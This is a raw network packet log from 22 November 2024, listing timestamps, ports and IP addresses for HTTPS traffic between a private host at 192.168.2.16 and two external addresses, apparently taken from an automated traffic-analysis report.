Nov 22, 2024 23:00:52.562248945 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.562259912 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.562300920 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.562319994 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.570303917 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.570327044 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.570401907 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.570410013 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.570446968 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.570470095 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.578598976 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.578615904 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.578687906 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.578700066 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.578747034 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.585921049 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.585937023 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.586000919 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.586009979 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.586057901 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.593941927 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.593957901 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.594037056 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.594052076 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.594100952 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.601763964 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.601778984 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.601829052 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.601888895 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.601902008 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.601972103 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.610500097 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.610516071 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.610603094 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.610619068 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.610677958 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.618155956 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.618172884 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.618242025 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.618256092 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.618315935 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.677257061 CET	49789	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:52.677345991 CET	443	49789	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:52.677424908 CET	49789	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:52.678888083 CET	49796	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:52.678921938 CET	443	49796	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:52.679002047 CET	49796	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:52.679263115 CET	49796	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:52.679270029 CET	443	49796	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:52.763730049 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.763747931 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.763847113 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.763885975 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.763956070 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.770912886 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.770927906 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.771008015 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.771024942 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.771090031 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.779057026 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.779076099 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.779149055 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.779165983 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.779232979 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.787147999 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.787168980 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.787257910 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.787278891 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.787358046 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.795397997 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.795418024 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.795490980 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.795506001 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.795634031 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.803025007 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.803040981 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.803128958 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.803145885 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.803175926 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.803204060 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.811302900 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.811323881 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.811409950 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.811424971 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.811453104 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.811472893 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.818495035 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.818512917 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.818594933 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.818609953 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.818670034 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.965096951 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.965128899 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.965303898 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.965332031 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.965395927 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.972316980 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.972333908 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.972423077 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.972436905 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.972487926 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.980622053 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.980635881 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.980720997 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.980736971 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.980798960 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.988701105 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.988717079 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.988796949 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.988818884 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.988884926 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.996891975 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.996906996 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.997011900 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.997028112 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.997091055 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.004631042 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.004646063 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.004720926 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.004735947 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.004805088 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.011687040 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.011703014 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.011852980 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.011868000 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.011935949 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.015022039 CET	443	49793	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:53.015367031 CET	49793	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.015392065 CET	443	49793	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:53.016357899 CET	443	49793	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:53.016433954 CET	49793	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.016809940 CET	49793	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.016870975 CET	443	49793	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:53.016968966 CET	49793	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.016977072 CET	443	49793	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:53.020183086 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.020235062 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.020282984 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.020298004 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.020329952 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.020360947 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.058430910 CET	49793	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.074187994 CET	49793	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.074450970 CET	443	49793	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:53.074573040 CET	49793	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.075500965 CET	49797	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.075541019 CET	443	49797	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:53.075661898 CET	49797	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.075911045 CET	49797	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.075928926 CET	443	49797	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:53.166258097 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.166309118 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.166501045 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.166501045 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.166531086 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.166613102 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.174258947 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.174323082 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.174366951 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.174381971 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.174412012 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.174433947 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.182518005 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.182563066 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.182653904 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.182668924 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.182729959 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.189778090 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.189821959 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.189872026 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.189889908 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.189924955 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.189951897 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.197951078 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.197998047 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.198048115 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.198060989 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.198101997 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.198138952 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.206779957 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.206824064 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.206891060 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.206908941 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.206938982 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.206969976 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.213682890 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.213738918 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.213778973 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.213793039 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.213823080 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.213846922 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.221908092 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.221955061 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.221999884 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.222012043 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.222043991 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.222073078 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.367490053 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.367541075 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.367728949 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.367728949 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.367749929 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.367811918 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.375685930 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.375732899 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.375783920 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.375798941 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.375844002 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.375866890 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.383743048 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.383785009 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.383831978 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.383845091 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.383878946 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.383913994 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.391943932 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.391988993 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.392085075 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.392103910 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.392232895 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.399219036 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.399333954 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.399414062 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.399429083 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.399457932 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.399497986 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.407855988 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.407901049 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.407958984 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.407972097 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.408029079 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.415052891 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.415097952 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.415150881 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.415163994 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.415199041 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.415230989 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.423278093 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.423336029 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.423372984 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.423386097 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.423414946 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.423434973 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.540040970 CET	443	49794	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:53.540311098 CET	49794	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.540338993 CET	443	49794	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:53.541328907 CET	443	49794	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:53.541404963 CET	49794	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.541697979 CET	49794	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.541759968 CET	443	49794	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:53.541806936 CET	49794	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.569118023 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.569173098 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.569226980 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.569242954 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.569276094 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.569293976 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.577217102 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.577264071 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.577311039 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.577322960 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.577356100 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.577390909 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.583348989 CET	443	49794	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:53.585462093 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.585520983 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.585551977 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.585563898 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.585614920 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.585659027 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.592806101 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.592869043 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.592899084 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.592911959 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.592947006 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.592971087 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.595624924 CET	49794	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.595638037 CET	443	49794	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:53.600805998 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.600860119 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.600918055 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.600935936 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.600972891 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.601010084 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.608829021 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.608875036 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.608916998 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.608930111 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.608959913 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.609006882 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.616620064 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.616667986 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.616738081 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.616750956 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.616810083 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.624902010 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.624963999 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.624995947 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.625008106 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.625036001 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.625091076 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.642642975 CET	49794	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.660362005 CET	49794	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.660415888 CET	443	49794	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:53.660475016 CET	49794	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.661462069 CET	49798	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.661494017 CET	443	49798	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:53.661570072 CET	49798	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.661896944 CET	49798	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.661909103 CET	443	49798	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:53.770657063 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.770714998 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.770767927 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.770792007 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.770823002 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.770845890 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.778703928 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.778750896 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.778793097 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.778809071 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.778841019 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.778883934 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.787033081 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.787080050 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.787121058 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.787133932 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.787163019 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.787192106 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.794239998 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.794284105 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.794357061 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.794392109 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.794423103 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.794451952 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.795501947 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.795571089 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.795604944 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.795738935 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.795799971 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.796019077 CET	49787	443	192.168.2.16	217.77.14.110
